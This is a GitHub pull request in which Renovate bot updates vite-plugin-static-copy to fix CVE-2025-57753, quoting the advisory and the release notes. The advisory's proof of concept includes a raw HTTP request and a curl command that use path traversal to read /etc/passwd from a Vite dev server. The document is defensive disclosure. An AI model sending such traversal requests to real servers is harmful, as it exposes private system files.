Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 21, 2025

This PR contains the following updates:

Package Change Age Confidence
vite-plugin-static-copy 1.0.4 -> 2.3.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-57753

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

Screenshot 2025-08-16 at 10 27 11 PM

Release Notes

sapphi-red/vite-plugin-static-copy (vite-plugin-static-copy)

v2.3.2

Compare Source

Patch Changes

v2.3.1

Compare Source

Patch Changes

v2.3.0

Compare Source

Minor Changes
Patch Changes

v2.2.0

Compare Source

Minor Changes

v2.1.0

Compare Source

Minor Changes

v2.0.0

Compare Source

Major Changes

v1.0.6

Compare Source

Patch Changes
  • #​121 d68aec9 Thanks @​tobz1000! - The value of Content-Type header was inferred and set from the src file extension. It is now infered from the dest file extension.

v1.0.5

Compare Source

Patch Changes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Aug 21, 2025
@github-actions
Copy link

github-actions bot commented Aug 21, 2025

Preview: https://2458--pr-cinny.netlify.app
⚠️ Exercise caution. Use test accounts. ⚠️

@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from fb6a92e to 42f0b1b Compare August 31, 2025 11:06
@renovate renovate bot changed the title Update dependency vite-plugin-static-copy to v2 [SECURITY] chore(deps): update dependency vite-plugin-static-copy to v2 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from 42f0b1b to b4e8584 Compare September 25, 2025 15:46
@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from b4e8584 to cb66f5d Compare October 21, 2025 11:06
@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from cb66f5d to b3da27f Compare November 10, 2025 16:15
@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from b3da27f to aca4506 Compare November 18, 2025 11:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant